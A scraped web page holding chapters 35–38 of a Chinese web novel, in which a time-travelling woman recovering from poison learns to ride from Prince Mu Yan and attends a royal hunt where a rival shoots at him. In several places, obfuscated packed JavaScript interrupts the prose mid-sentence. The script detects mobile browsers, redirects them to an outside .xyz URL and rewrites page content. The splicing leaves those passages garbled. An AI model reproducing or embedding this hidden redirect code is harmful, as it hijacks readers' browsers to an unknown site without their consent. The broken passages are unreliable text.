“在邀月轩和这边书坊干活有多幸福,在公司上班和帮你做事就有多倒霉……”江沁月哼道,“我不管,这个毒的问题,你必须给我解决掉。” 几番理论后,漆桐败下阵来,答应了完成任务之后,在她回家之前帮她解毒。 “你在这边遭受的伤病到时候我都会帮你治愈,但是你一定要保住性命,生命诚可贵啊,死了神仙难救。”漆桐叮嘱道。 江沁月点点头,无奈没能马上解毒,以后还是得时不时挨点痛。 不过往好了想……至少她回去后不用贷款看病了。 35. 旁观者语乱心弦 “咳咳,人文关怀结束,我们继续聊聊任务。”漆桐清了清嗓子。 “首先告诉你一个好消息,据我观察,穆衍的命星已经恢复了正常,他的性命之忧,应该已经被你成功化解。” 江沁月白了漆桐一眼,这不废话吗? 当然化解了,现在有性命之忧的是她自己了。 “这不用你说了,你直接说坏消息是什么吧。”她说。 “坏消息是……什么嘛,没有坏消息啦!还有一个也算是好消息。” 漆桐意味深长地笑了笑:“穆衍的良配是谁,你有头绪了吗?从星象来看,应该已经很明显了。” 这倒有些把江沁月问住了。 这些天来她被毒痛折腾了个半死不活,哪里还顾得上任务? 很明显的话……那应该是最近和他见过、与他有过交流的人。 可是穆衍最近大部分时候都在她这里,还能见着什么人? 江沁月把寥寥无几的可能人选过了一遍,不确定地给出了一个答案。 “李娴吗?她今天上午才来过,还和穆衍聊了几句话……” 漆桐皱眉道:“我今天在水镜刚好看到她来了,嘶,感觉穆衍对她不来电吧。” “一天到晚就拿着你的破水镜看看看,那你说,你看出是谁了吗?”江沁月无语道。 “什么一天到晚拿着看?也就这段时间我担心你又联系不上你,才看得勤快些。” 狗咬吕洞宾,不识好人心! 漆桐气归气,还是正色几分接着道:“你要问我觉得是谁的话,我说了你别打我别生气,虽说旁观者清,但我也没从头到尾完完整整看见任务的全过程,知道得难免有些片面……” “行了行了,到底是谁?”江沁月打断了她的疯狂叠甲。 “那我直说了,我觉得再这样下去,他可能会对你有意思。” “……”太荒谬了,以至于江沁月没有一丝一毫的情绪波动。 见她不信,漆桐滔滔不绝地据理力争起来。 “之前的先不说了,就你受伤之后这段时间,你天天睡得天昏地暗啥也不知道,我可是全都看在眼里。” “他没日没夜守着你,对你的担心溢于言表,比痛在他自己身上都心疼吧?还有就今天,他看你那个眼神哦,简直是温柔似水、情意绵绵……” “我觉得哪怕你要他死,他都会主动磨好刀子递给你。” 听着漆桐的描述,江沁月肉麻得一激灵。 “打住打住,你这有点太过度解读了吧?穆衍本来就是个温柔良善的人,我又毕竟是为了保护他才受伤的,他心有愧疚对我好些,不是很正常吗?” “如果你觉得正常的话,那就是吧。”漆桐耸耸肩,“我只是好心提醒你,别到时候把自己给玩进去了。他是什么样的人,你肯定比我更清楚。” 作为《东山起》中令人唏嘘的男二,穆衍前期可是男女主爱情之路上的一大绊脚石,劝分不劝合的代表人物——这还是他只把颜桃当妹妹看的情况下。 他对某些自己认定的事物有着别样的执着。 如果他真的喜欢上了什么人,有可能会轻易放手吗? 看她陷入了沉思,漆桐接着道:“咱们到底不是攻略任务,他要是喜欢上你了的话,你还怎么完成任务回家呢?” “你们在一起才是对他而言的好结局,你要回家就不可能和他在一起,到时候这不就陷入恶性循环了吗?” 江沁月当然明白这个道理。 但这一切的前提是他要喜欢自己啊! 这根本就是不可能的事。 别的也就罢了,她编造的身份可是来自偏僻之地的克夫寡妇——这得抱有什么心态,一个金尊玉贵的亲王会喜欢上她? “等一下,你不会已经喜欢上他了吧?”漆桐见她沉默不语,不禁怀疑道。 “怎么可能?我……” “嘘——有人来了,我先走一步。”不等她说完,漆桐便骤然消失不见。 漆桐前脚刚走,后脚云霞便走了进来,见江沁月神情复杂地坐在床上,十分讶异。 云霞道:“我见江姑娘房中亮了灯,担心有什么情况,便想着过来看看。” “不必担心,我就是被噩梦惊醒有些害怕,便想着点个灯再接着睡。”江沁月随便扯了个借口。 云霞不疑有他,贴心地替她点上了安神香,离开之前还将房门口昏暗处的烛火也点燃了。 房间里亮堂堂的,江沁月更睡不着了,安神香也失去了作用,她就这样睁着眼睛到天明。 “你不会已经喜欢上他了吧?” 漆桐离开前最后的问话似乎还回响在耳边。 她因为云霞来了而猝然离去,江沁月没来得及说出口的解释也像是没提上来的一口气,憋得人难受。 “怎么可能?我喜欢他?那不就乱套了吗……”江沁月暗自嘀咕着。 都不是一个世界的人,她喜欢穆衍什么? 充其量也就是见色起意,喜欢穆衍的脸罢了。 一切漂亮的美好事物,她都喜欢。 江沁月终于有机会掏出手机,先是看见了漆桐嘘寒问暖的消息轰炸,划回主屏幕后,她点开了手机相册。 占据手机内存半壁江山的相册里,有不少她积年累月存下的帅哥图片,天南地北,古今中外,甚至不同次元,各种类型应有尽有。 她无动于衷地从头划到尾,又从尾划到头,最终长叹一口气,按熄了屏幕。 不得不说,他们在穆衍的面前都黯然失色。 不得不承认,穆衍惊为天人的姿容,确实是举世罕见。 “很难有人看着这么一张脸还无动于衷吧?爱美之心人皆有之,喜欢他的脸又没什么……” 江沁月成功地说服了自己,并且在心中默默给漆桐扣上了扰乱军心的帽子。 “喜欢谁的脸?竟然有这么好看。” 穆衍一进来便听见了她的自言自语,见她眼下一圈淡淡的淤青,又问她是不是没休息好。 “呃……对!我昨晚被噩梦惊醒了,之后就再也没睡着。”江沁月完全没注意到穆衍进来的动静,冷不丁被吓了一跳。 她把对付云霞的那套说辞又讲了一遍,接着无中生有道:“刚刚有了新的故事灵感,我在里面构思了一个角色,是个倾国倾城人见人爱的绝世美人。” “设定里他人见人爱,美得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……沁月,对不起,终究是我连累了你。”看她总是竭力表现出无事的样子,穆衍心里总是说不出的难受。 话说出口,他自己都觉得苍白无力。 看他低垂着睫羽,一副愧疚自责样,江沁月更觉得漆桐所说都是无稽之谈。 她不想看他总是这般消沉,不希望他一直活在愧疚自责中。 她替他挡刀也是情势所逼,而漆桐也答应了会替她彻底解毒。 她不会死,但任务完成后她总会离开,何必让他久久困于愧疚自责的情绪中,白受煎熬呢? 江沁月沉思片刻,郑重地开口唤他:“殿下。” 穆衍抬眼正对上她清亮的双眸,看见她认真地望着自己。 “替殿下挡刀,是我自己的选择,殿下无需自责,也不必觉得对不起我。” “殿下没死,我虽意外中毒,但也能继续好好活着,对于这场刺杀而言,这或许是我们能取得的最幸运的结果——我们应该为此感到高兴才对。” “刺客死了,尘埃落定,一切都该归于平静。” “我希望,我们就像以前一样吧。” 36. 不求情深重计远 如江沁月所愿,刺杀之事就此翻篇,她的穿越生活又回到了以前的轨迹。 身体也已无大碍,太医院给她开的“长效止痛药”药效稳定,江沁月暂时没再被疼痛侵扰过。 张院判说每服下一剂药丸,约莫能保证月余不会有任何痛感,之后便会渐渐失效,一定要等痛到无法忍受之时才能再次服药。 他还叮嘱江沁月要尽量避免剧烈运动,以免激发体内毒性发作。 江沁月自认为是个乐天派,听到张院判讲完这诡谲的药性后,安慰自己把这毒发当痛经算了,大概还没痛经那么频繁。 不过痛经的疼痛程度与毒痛相比,可真是小巫见大巫了。 而那日穆衍听她一劝后,似乎也想开了不少,不再总是愁容满面。 她记得当时他沉默良久,最后道:“只要有办法能彻底治好你,我会不惜一切代价。” 这话的分量很沉重,但一想着恐怕他讲出来心里才好受,江沁月也没再说什么。 之后穆衍也忙起了什么事情,有时候一天都见不着人影。 她问了云霞才知道,是皇帝下令让他得空时将久思阁中的藏书古籍整理一番,该修复的修复,该重印的重印。 久思阁?想起书坊旁边那座足有九层高的藏书楼,江沁月都替穆衍发愁。 虽然她记得他说过,上面几层都是空的,下面两层存放的都是以前的经书,但要将其中几层的书全部整理一遍,也是不小的工作量。 看来不管什么时候,领导都看不惯下面的人闲着,没事找事也得给你安排点任务。 “陛下给的期限很急吗?这几天都没怎么见着殿下。”江沁月问道。 云霞摇摇头:“倒是没说具体期限,大概是个长期活了,陛下似乎还调了几名秘书省的官员过来帮忙。” “这几日殿下在忙着整体的盘点归置,之后便不用着急了,慢慢弄就好。”她接着道。 江沁月了然,没几天也回到了书坊重操旧业。 夏天就要来临,《四时杂谈》夏至篇的筹备也是时候提上日程。 不过如今有李娴在这里帮忙,也能轻松省心不少。 在她卧病在床的那段时间里,李娴将书坊的日常事务打理得井井有条,还发了夏至篇征稿启事,甚至已经将纷至沓来的稿件初筛了一遍。 江沁月真想给她颁发一个大梁好同事的奖状。 有这样的人一起做事,工作上还会有什么不顺心的呢? 手上的工作暂时告一段落,回王府去也无事可做,江沁月便沏上一壶好茶,与李娴摆起了龙门阵。 李娴今年十七岁,在现代社会中,这个年纪的女孩子还是在读高中的未成年小妹妹,而她却已经谈婚论嫁。 她的婚事也更像是一桩生意,要为自己、为家族谋一个好前程。 当今的皇帝陛下希望李家与襄王穆衍联姻,穆衍无实权,这桩婚事听上去好听,又不会助长李家势力,自然是皇帝喜闻乐见的。 但李家肯定是不愿意的。 他们想把嫡长女李妍嫁给太子,李妍恰好也喜欢穆灼,这岂不是美事一桩? 对于李家的盘算,江沁月的评价只有四个字——痴心妄想。 开玩笑,作为《东山起》的男主,穆灼的底层逻辑就是得和颜桃一生一世一双人。哪怕等他当了皇帝,也不可能有其他妃妾的。 对于皇帝的安排,李家敢怒不敢言,一番思量后,他们与江沁月当初在赏春宴时的想法不谋而合。 既然都是李家的小姐,那嫁谁不是嫁呢? 可是没人在乎过李娴的想法。 哪怕是江沁月,她也只是推测李娴对穆衍是有好感的,至于这好感有几分…… 她思来想去,觉得漆桐观星所得的最可能人选还是李娴。 漆桐说人选“很明显”,那说不定就是物理位置的接近呢?李娴现在常呆在书坊,离穆衍可谓是近水楼台了。 但她还是打算问问李娴本人的想法,毕竟也没有牛不喝水强按头的道理。 “娴妹儿,不管陛下和你家里的意思,就从你自己的想法而言,你愿意嫁给殿下吗?或者说……你喜欢他吗?” 李娴想也不想,答道:“我愿意嫁给殿下,但我还不能说我喜欢他。” “啊?”江沁月一时有些懵。 听凭本心的话,愿意嫁给一个人的前提,不就是喜欢吗? “我大哥长姐是什么样的人,沁月姐姐再清楚不过了。”李娴露出一个无奈的苦笑,“我不在乎家族的荣辱,不管嫁到哪里去,恐怕都比呆在家里好过。” “殿下风姿出众,又温和有礼,是一个很好的人,可是与我也不过几面之缘。要是说喜欢的话,那也有些牵强,我也从不相信一见钟情,那大概只存在于话本里、戏台上。” “其实,我觉得殿下对我也没什么兴趣。”李娴说到这,顿了顿又接着道,“如果陛下真的赐婚,与殿下这样的人大概也能相敬如宾过一辈子吧……” 江沁月静静地看着李娴,她明明比自己小三岁,眼神中却是远超自己的清明冷静。 江沁月读书早又跳过级,十六岁就上了大学,十七岁时正是爱看各种言情小说电视剧的时候,恰好大二的她课业轻松,便在键盘上一字一句敲下了自己憧憬中的爱情故事。 而眼前柔婉却不娇弱的少女,正当十七岁的花样年华,她憧憬的不是美好的爱情,而是逃离家族牢笼后的自由人生,尽管这份自由只是相对的。 得到了李娴的回答,江沁月心中也有数些,既然她愿意嫁,又是最可能的CP人选,那她也就再尽力撮合一下。 虽然目前看来他们二人之间完全不来电,但感情是可以培养的嘛。 说句老实话,江沁月现在对于完成任务的渴求是前所未有的迫切。 因为她想赶紧解毒,赶紧回家。 身体内的毒不知何时会再次发作,但那种四肢百骸深入骨髓的痛,实在是让人心有余悸。 张院判说药效能维持月余……那只要他们一来电,皇帝一赐婚,就算万事大吉了吧? 那应该就不用等到毒痛再次发作了——江沁月有种一切尽在掌握的感觉。 “沁月。” 伴随着江沁月的牵手计划重启,男嘉宾穆衍的声音忽然自身后响起。 “殿下怎么有空来书坊这边?久思阁那边忙完了吗?”江沁月随口问道,和起身行礼的李娴一起站了起来。 “大体上盘点完了,剩下的以后慢慢弄,不急于一时。”穆衍说着看向李娴,微微点头示意她免礼。 这俩人,跟陌生人也差不了太多。 江沁月默默叹了口气。 “宫里传来消息,陛下过段时间会举办游猎,规模应该不小。”穆衍道,“活动大概会让太子那边操办,到时候估计会很忙,若是想让淑瑶给你们画插图,得注意一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468404|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间。” “多谢殿下提醒,不过……游猎不是一般都在秋天举行吗?”李娴奇怪道。 穆衍道:“听说是陛下近日身子见好,想松活松活筋骨,便将今年的游猎提前了。” 江沁月想起皇帝来王府看望穆衍时的瘦削样,又想起在净云观时遇到穆灼来替皇帝祭拜穗泽娘娘。 她暗自腹诽,觉得皇帝多半是回光返照,怕自己活不到秋天了,才将秋猎仓促提前到现在举行。 “沁月姐姐到时候会去吗?”李娴忽然问她。 “我们姑娘家的也能去参加游猎吗?”江沁月疑惑道。 李娴点点头:“当然可以!只要是会骑射的,就都能去。” 听她此言,江沁月先是惊讶于身量纤纤的李娴竟然能文能武,还会骑射,真是人不可貌相。 接着她便想到,穆衍肯定也是要去的。 既然他们都去了,那她肯定也不能落下,这种自由活动的场合说不定就能碰撞出什么奇妙火花呢。 “都能去的话,那我也去吧!我还从没见过皇家游猎的盛况。”江沁月道。 穆衍闻言立马皱起了眉头:“沁月,太医说你现在最好不要剧烈运动。” “这算剧烈运动吗?那实在不行的话,我就骑马在猎场上遛遛弯吧……” 等等,她好像忘了一个最重要的问题——她不会骑马,也不会射箭。 江沁月自小被老妈往古典气质美女的方向培养,报了不少乱七八糟的兴趣班,虽然最终成效甚微,但在穿越后还是有那么点用。 但骑马射箭这种技能,自然是不会涉及。 所以她琴棋书画尚有一战之力,骑射武艺那是一窍不通。 罢了,为了任务,打肿脸充胖子也得上。 “那殿下到时候带我一起去吧。”江沁月眨巴眨巴眼,希冀地看着穆衍。 穆衍无奈地叹了口气,算是答应了她。 回去之后,江沁月便央着云霞教她骑马,还让她千万保密,不要告诉穆衍。 几天下来,教倒是教了,会也是会了,至少骑着马四处溜达一下是不成问题的。 对江沁月而言,最困难的不是骑着马跑,而是上马下马。 她很难干净利落地完成这两个动作,每次都需要云霞一手拉着马,一手扶着她,才能艰难从马背上爬上爬下。 这笨拙又生疏的样子,谁都看得出来她不会骑马。 所以这日云霞不在,江沁月一个人也来到了马厩,打算自己再多练练,以免到了猎场上贻笑大方。 她从马厩里将这几日熟悉的那匹黑马牵到院子里,这匹马是云霞的专属坐骑,生得十分高大,马背几乎与她等高。 主人不在,被江沁月牵着的马儿看起来不太服气,它甩甩头,不耐烦地打了个响鼻。 “……马儿乖,别搞我哈。”江沁月安抚性地顺了顺它的鬃毛。 她做好充足的心理准备,鼓起勇气踩上马镫,双手分别抓住缰绳和马鞍,准备翻身上马。 结果抓住缰绳的那只手一不小心用力过猛,扯得身下的马儿偏了头,只见它嘶鸣一声,前蹄高高扬起。 “!!!” 江沁月还没来得及坐上去,只有一只脚踩在马镫里,眼看就要被甩下马去。 身体失去平衡坠落的那一刻,一股熟悉的馥郁衣香充盈鼻腔。 她被稳稳接住,落入了不算陌生的温暖怀抱。 37. 策马挽弓见旧影 “上马的时候讲究巧劲,要注意手脚协调发力,尤其要避免过度用力扯动缰绳,这样容易让它失控。” 确定她没有受伤后,穆衍便将她放回地面,接着道:“云霞他们自小在边城长大,都是自己瞎琢磨学会的骑马,可别让她教坏了你。” 云霞这丫头!果然还是去跟穆衍告状了! “我骑过马的!只是太久没骑了,就想着在游猎前再重新练习一下……” 江沁月狡辩着,在旅游景点骑过马也算是骑过吧? 穆衍笑了笑,也不拆穿她,跟她重新讲了一遍上马的技巧,让她再试一次。 江沁月重新伸手握住缰绳,穆衍又突然捉回她的手,不顾她抵抗的力气,摊开她的手掌。 之前挡刀时的伤口已然愈合,只留下一道贯穿掌心的极长的疤痕,十分碍眼。 粗粝的缰绳摩擦伤愈后长出的新肉,使得伤口周围的皮肤都有些微微发红。 穆衍沉默地拿出一方手帕缠绕上她整个手掌,确保固定好后细心地打了个结。 “好了,再试试吧。” 江沁月收回手时也松了一口气,又回忆了一遍穆衍说过的要点,费力地踩上马镫翻上了马背,虽然略显艰难,但也总归是靠自己完成了这项步骤。 身下的马儿不知是不是受到了穆衍的震慑,自方才起便一直乖乖地站着,不动如山。 “做得不错,让它走几圈试试。”穆衍笑道。 江沁月居高临下地俯视着穆衍,也笑着道:“是殿下教得好,名师出高徒。” 说完她轻轻夹了下马腹,催着马儿走动起来。 在院子里溜达了两圈,江沁月勒停了马,正准备下来,穆衍却一个飞身越上了马,坐在了她身后。 他双臂虚虚地环住她,接过了她手中的缰绳,轻斥口令,便吆着马儿出了王府。 清晨的街道上,行人寥寥无几,穆衍直接让马儿小跑起来。 江沁月只敢骑着马散步,这样的速度与颠簸让她已经有些无所适从,不由得僵直了身子。 “骑马时身体要坐直,肩膀放松,脚掌踩稳马镫,脚跟要低于脚尖,脚尖尽量朝前,不要超过膝盖……” 听着身后穆衍的指导,江沁月调整着自己的姿势,逐渐适应了一些。 不到一刻钟的时间,他们就奔出了城门,入目便是京郊大片的农田和低矮的远山。 到了此等开阔地带,穆衍轻抖缰绳,催着□□良驹加速,在这一望无际的原野上疾驰起来。 “欸!!!”江沁月惊呼出声。 第一次体验到策马奔腾的感觉,对她而言,这是前所未有的新鲜刺激。 周围的景象飞速倒退,耳边响起了猎猎风声,江沁月的心脏怦怦狂跳。 速度的提升也带来了更剧烈的颠簸,她努力维持着平衡,还是被颠得东倒西歪。 身后的穆衍是她唯一可靠的支点,江沁月本能地向后靠了些,头顶时不时地就会撞上他的下巴。 穆衍环着她的双臂稍稍收紧,尽量帮她稳住身形,也带得她顺势靠上了自己的胸膛。 “别那么紧绷,放松一些,跟着它的节奏起伏调整身体……”穆衍的声音在耳畔响起,温热的吐息激得她耳尖也有些发热。 熟悉的衣香又萦绕在鼻尖,他的声音被风声扯得有些破碎,江沁月有些听不清,又或许是心猿意马,根本听不进去。 不行不行,这可是穆衍的独家私教马术课,好好学习才是正事。 江沁月专心地感受着身下马儿的律动,调整着自己的身体节奏。 “现在感觉怎么样?”又行出一段,见她适应得很好,身体也不再紧张,穆衍问道。 江沁月已经乐在其中,兴奋地大喊一声:“爽——” 人尽兴,马也跑了个尽兴,两人一马终于掉头,准备打道回府。 回到王府马厩,穆衍又教了她怎么下马,江沁月也是一点就通。 穆衍道:“小黑是西辽的战马,脾气桀骜难驯,你表现得越是怕它,它就越不服你。” “好啊,原来是人善被马欺。”江沁月愤愤地薅了一把小黑脖子上的鬃毛。 穆衍笑了笑,转身从马厩中另外牵出一匹枣红色的马,一身皮毛油光水滑,也是漂亮得很,只是比小黑矮上一些。 “火烧云的性格最是温顺,以后你就骑它吧。” 江沁月走到火烧云身边,从一匹马身上居然能看出眉清目秀的感觉,她伸手想摸摸它,小红马还主动用头亲昵地蹭了蹭她的手。 “哇……火烧云你怎么跟小狗一样乖乖的?” “看来它很喜欢你呢,”穆衍也摸了摸火烧云的脑袋,“练习之外,平时你也可以给它喂点草料,给它梳梳毛,它会更信任你的。” 一边的小黑撂了撂蹄子,又不耐烦地甩了甩尾巴。 江沁月哼道:“小黑你怎么脾气这么大?我回去就告诉阿霞你欺负我,让她过来收拾你。” “好了好了,不用云霞来,今日便扣掉它一顿草料吧。”穆衍看她跟一匹马较上了劲,不免有些好笑。 之后的几天里,穆衍还教会了她射箭,但这毕竟是个需要长期训练的技术活,江沁月的水平只是能把箭矢成功射出去。 若是站在原地射箭,她还能保证至少能射中箭靶,若是骑在马上射,那她也不能确定箭矢会落在哪里了。 穆衍见状委婉地劝她,让她谨遵医嘱不要剧烈运动,到时候骑马闲逛就行了,别真的驰骋猎场弯弓射箭。 江沁月当然没有要在猎场上大展身手的雄心壮志,自己几斤几两她当然心中有数。 她这一箭出去可不长眼,搞不好能闹出人命来。 但是…… “殿下总一个劲儿地劝我,可殿下自己的身体情况也不适合剧烈运动吧?”江沁月怀疑道。 穆衍摇摇头,笑道:“我当然也是去凑热闹罢了,打猎的事,有的是人争先。” …… 时间很快就到了游猎当日,此刻已是入夏。 江沁月穿上了穆衍命人为她新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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凌觉正站在一群聊得热火朝天的世家子弟中——当然,热火朝天的是其他人,他是其中最想逃离的一个。 他无心仕途,也懒得与这些人逢场作戏,但父亲总以家族前程要挟,逼着他参加各种社交场合,甚至已经在替他筹谋合适的官职。 父亲站错了队导致家族大厦将倾,却指望他能挑起大梁力挽狂澜。 凌觉才懒得管父亲的良苦用心,心情好时便与这些人相谈甚欢一下,心情不好便拉着个脸,演都不想演。 今天他的心情就不太好,他不擅骑射,天气又热又晒,还不如去邀月轩坐着讲故事。 忽然他眼神一亮,看见了不远处跟着穆衍一起前来的江沁月。 江沁月也看见了他,但他一时抽不开身,只得从背后伸出一只手悄悄向她招了招。 江沁月心下了然,要想帮他捂死“妙语花”的马甲,还是装作不认识的为好。 她收回视线,继续跟着穆衍向前走,却听见身后传来一道意料之中又十分讨厌的声音: “襄王殿下,江姑娘,真是好久不见。两位情深意重的戏码,还没演够吗?” 38. 我不犯人人犯我 回头一看,来人正是李岱与李妍,李娴也跟在兄姐身后,朝江沁月扯出一个勉强的笑容。 李岱还带着两条猎犬,一条是普通的细犬,另一条是威猛的獒犬,看来他此番志在必得,定要猎到豺狼虎豹才罢休。 “听闻殿下前不久在永宁寺遇刺,是江姑娘挡下一刀,如今伤势可好全了?” 他佯装关切,又看向穆衍道:“殿下也不知道怜香惜玉一些,不把人放在王府里好好娇养着,就这般带到猎场上来。” 之前去祈福的都是亲贵重臣,遭皇帝贬黜的李家自然没有资格前往,这不知从何处听来当日之事,便又开始膈应人。 穆衍还没说什么,江沁月忍不住先翻了个白眼:“我自己乐意来,关你屁事。” 光脚的不怕穿鞋的,给这种人好脸色干嘛? “啧啧啧,长得那么秀气,脾气倒是不小,有点意思。”李岱说着走近两步,又想动手动脚的样子。 穆衍一把截住了他的手,脸上毫无笑意:“游猎还没开始,李公子就想败兴而归了么?” 李岱身子一僵,想起穆衍上次干净利落地卸掉他的手腕又给他接了回去,痛彻心扉记忆犹新。 他想抽回手,却被穆衍死死抓住,用力得仿佛要生生捏断他的骨头。 “殿下何必伤了和气?殿下是我未来妹夫,那我们也算是一家人了。”李岱疼得龇牙咧嘴,还是不要脸道。 “江姑娘这样无名无份地长住王府,实在不妥,我二妹以后嫁进王府也难堪,不如殿下做个顺水人情,将她送给我好了。” “她在王府自然有正事要做,她若愿意,要什么名分本王便给什么,无需你在此说三道四。”穆衍冷冷道。 江沁月本想反唇相讥,听见穆衍的话却欲言又止。 什么名分?这不对吧…… 应该是为了堵李岱的嘴才故意这样说,她又不会真去要。 嗯,一定是这样。 但李岱的嘴显然没被堵上,他故作惊讶道:“她怎么能向殿下讨名分?殿下不可能不知道,她嫁过人,还克死了丈夫吧?这种女人跟着我也算是抬举她了,殿下不会有这种癖好吧?” “李岱,你要不先撒泡尿照照自己的脸呢?谁跟着你那是倒了八辈子霉。”一道懒懒的声音响起,“真是好大的脸,还怪会给自己贴金,半纸婚约都没有,就急着跟襄王殿下攀关系了。” 凌觉抱臂好整以暇地看着他,他们这边的气势剑拔弩张,引来了不少人围观。 李岱的长相其实算得上端正,只是天天一副趾高气扬的样子,让人看着生厌。 他哪里能忍受别人这般羞辱?话到嘴边,看见凌觉那张男狐狸精似的脸,又生生咽下。 “凌觉,你不过也就是个金玉其外的废物!”最后他憋出一句。 凌觉无所谓地耸耸肩:“金玉其外那也是真金玉,草包从里到外都是草包。” 他的到来简直是给眼下的场面火上浇油,幸而有下人来报,说陛下马上就到,才中止了这场争执。 穆衍用力一掼,扔开了抓着李岱的那只手,他被甩得踉跄几步,又敢怒不敢言。 江沁月用口型问李娴要不要过来和他们一起,李娴犹豫了一下,却被李妍看见,狠狠地剜了她一眼。 双方闹得也实在难看,李娴只得略带歉意地摇摇头,跟着兄姐站到了另一边去。 “二妹,人家都说了,咱们半纸婚约都没有,就别巴巴地往人跟前凑了,省得丢李家的脸。” 李妍说着又瞥了江沁月一眼:“还有,少跟外面的人鬼混,别真的被带坏了。” “嘁。”江沁月嗤之以鼻,跟着你们作死俩兄妹还能长成这样温婉贤淑的姑娘,可见李娴是多么出淤泥而不染。 众人纷纷站定,皇帝也步上营帐前搭好的高台,他看起来精神还不错,但是比之前在王府见到的那次更瘦了一些,整个人形销骨立。 江沁月不免有些担心,若是皇帝驾崩,那三年国丧期间都不得婚嫁,看来这任务得再抓紧些。 皇帝简短地发表了讲话,随即便宣布了游猎开始,众人做好准备后便可进入内场狩猎。 有人已一马当先地冲入了内场,但大部分人还在做着最后的准备工作。 穆灼和颜桃是跟着皇帝一起来的,这会儿得了空,趁进场前又来关怀了一下江沁月的身体状况。 当日情况凶险,他们也是亲眼所见,如今江沁月看上去恢复如初,也能安下心来。 “哥哥。”李妍紧紧攥住了李岱的衣服,声音气得发抖。 “怎么了?”李岱不明所以,顺着李妍的视线望去,便看见穆灼与江沁月等人有说有笑。 “襄王是不是要把那个女人送给太子殿下?我记得他们关系不错,她既然不是襄王的姬妾,那是不是……” “不会的不会的,阿妍你冷静一点……”见她越来越激动,李岱双手握住她的肩膀,“你忘了吗?她嫁过人的,太子殿下怎么可能要这种人?” “对,对……不可能的……”李妍平复了一些,看见不远处李娴正在默默调整马鞍,又恨恨道: “她那样的贱婢之女眼看着都要嫁给襄王了,我还要等到什么时候才能嫁给太子殿下?” “襄王那身子骨都不知道还能活多久,算什么好婚事?况且还不是你瞧不上的,才能轮上她。”李岱不屑道。 他又接着安慰道:“别急,现在太子殿下与太子妃是恩爱不疑,但等他继位后肯定也是要纳妃的,到时候定能送你入宫。” 这话若是让江沁月听见,恐怕又得笑话他们痴人说梦了。 李妍没吭声,只是一直看着穆灼那边,直到他离开。 “哥哥,我还是不放心,”她回头看向李岱,“这女人来路不明,襄王还那么护着她,万一太子殿下也鬼迷心窍了呢?” “……”李岱无奈地叹了口气,一扯上跟太子殿下有关的事,自家妹妹就完全昏了头。 “哥哥,你想想办法,让她再也不可能入太子殿下的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482158|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。”李妍央求道。 “今天绝对不行!”李岱一口回绝,在李妍耳边低声道,“你疯了吗?在场这么多人,陛下还在场,死个人怎么交代?” 见妹妹依旧满眼哀求,他苦口婆心道:“阿妍,为了这么点事沾上人命,不值得。” 李妍看他态度坚决,失落地低下头,她知道穆灼不太可能瞧得上江沁月,但是万一呢? 穆灼对颜桃一心一意,穆衍更是不近女色,江沁月却能与他们说笑有加,她凭什么? 李岱带来的那两条猎犬似乎看出了她心情低落,摇着尾巴凑到她身边,用脑袋拱她的手。 忽然她福至心灵,要让江沁月永远不可能入了穆灼的眼,也不一定要她的命啊。 她盘算了一下,将计划告诉了李岱。 “阿妍……”李岱眉头紧锁,看起来依旧不太赞成,却又对她的固执无可奈何。 “求你了哥哥……如果事成的话,李娴肯定也会对你感恩戴德的,毕竟你替她解决了后顾之忧不是?” “好吧好吧,真是拿你没办法。”实在架不住李妍的软磨硬泡,李岱最后还是答应了她。 “不过给二妹的顺水人情也不能做得太到位,她若真嫁去王府,实在是便宜她了。”李岱冷哼一声。 “我也觉得,那哥哥要怎么做?要不要我帮忙?”李妍正是心花怒放的时候,为兄长赴汤蹈火亦是在所不辞。 李岱取下猎弓,拉开弓弦试了试力道,又取出一支箭,慢条斯理地擦拭着。 “不用,你看着就好,”他得意地笑了笑,“先给我们未来的妹夫一点下马威吧。” …… 此刻已有不少人进了内场,穆衍和江沁月一个是带病的养老选手,一个是中毒的业余选手,都是来凑热闹的,便打算在场外多消磨一会儿时间再进去。 “嗖”的一声,毫无防备地,一支箭矢破空而来,射中了穆衍的发冠,将其打落在地。 “殿下!”江沁月魂都要被吓飞了,就这么擦着脑袋飞过一支箭,再偏半寸恐怕他都得爆头。 穆衍亦是怔了半晌,箭矢穿过的力道带偏了他的头,束好的乌发披散下来垂顺在肩,还有好几缕发丝被利箭划断散落在地。 二人反应过来后,齐齐望向箭矢飞来的方向,众目睽睽之下,始作俑者倒是坦坦荡荡。 李岱站在那里,甚至连弓都还没放下。 “你神经病啊?!还得夸你一句箭术好吗?”江沁月破口大骂。 